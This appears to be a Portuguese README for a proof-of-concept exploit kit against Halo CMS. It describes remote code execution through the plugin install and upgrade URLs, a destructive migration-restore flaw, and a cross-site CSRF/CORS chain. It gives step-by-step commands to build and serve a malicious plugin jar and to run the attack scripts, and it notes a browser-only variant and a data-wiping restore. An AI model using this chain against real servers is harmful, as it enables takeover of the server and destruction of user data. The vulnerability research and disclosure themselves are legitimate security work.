
RCE de 1 requisição no plugin do Halo CMS a partir de uma URL, PoC + cadeia de exploração
o console do halo permite que administradores instalem e atualizem plugins colando uma url. ele busca qualquer url, instala o jar, e o código do jar roda no servidor. sem checagem de esquema, sem checagem de host, redirecionamentos são seguidos, e o gerenciador de plugins carrega as classes de extensão diretamente do jar.
isso é o cve-2026-67919 (install-from-uri / upgrade-from-uri), cve-2026-67920 (migration restore), cve-2026-67921 (csrf/cors chain). todos os três verificados contra halohub/halo:2.25.4 em um laboratório docker, agosto de 2026. a main ainda está sem patch.
a parte divertida: também é uma cadeia só de navegador. a api do console não verifica o token xsrf, o cookie de sessão é samesite=none, e o cors reflete qualquer origem com credenciais. uma página que o admin visita consegue fazer tudo com fetch(). veja exploit/csrf.html.
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# visit /system/setup once, or script it (see notes/findings.md)
sirva um jar a partir do host (ligado a 0.0.0.0, o container alcança o host como host.docker.internal):
python3 -m http.server 8123
construa o plugin malicioso (precisa de jdk 17):
cd plugin && sh build.sh
então:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
qualquer plugin já instalado pode ser substituído em uma única requisição; o jar só precisa do mesmo metadata.name e de uma versão maior. poc-sitemap.jar é essa variante para o PluginSitemap embutido (1.x -> 2.0.0).
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
abra exploit/csrf.html, aponte para o seu halo, clique. essa é a cadeia cve-2026-67921 -> cve-2026-67919: sem header xsrf, o cookie de sessão vai cross-site, o cors permite a leitura de volta.
apenas admin, não importa o que a descrição da cisa diga. anônimo recebe um 302, convidado recebe um 403, admin recebe execução de código. a cadeia csrf continua interessante porque o admin já está logado quando a página roda.
restaurações buscam uma url arbitrária (outra primitiva de fetch), gravam o workdir/ do zip no diretório de trabalho do halo sem sanitização e substituem toda a loja de extensões pelo conteúdo do backup. um extensions.data vazio apaga usuários, vínculos de papéis e configurações. use exploit/migration_restore.py apenas em uma máquina descartável.
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (privilege ladder, fetcher behavior,
cookie/cors details, fix status)
para a variante de 1 requisição, edite plugin/plugin.yaml (metadata.name + version) e reconstrua; ou use o poc-sitemap.jar pré-construído contra um halo que tenha o PluginSitemap instalado.
aviso: para pesquisa em sistemas que você possui. o de migração em particular vai destruir a instância contra a qual ele roda.
chris jagdeo (k0nnect)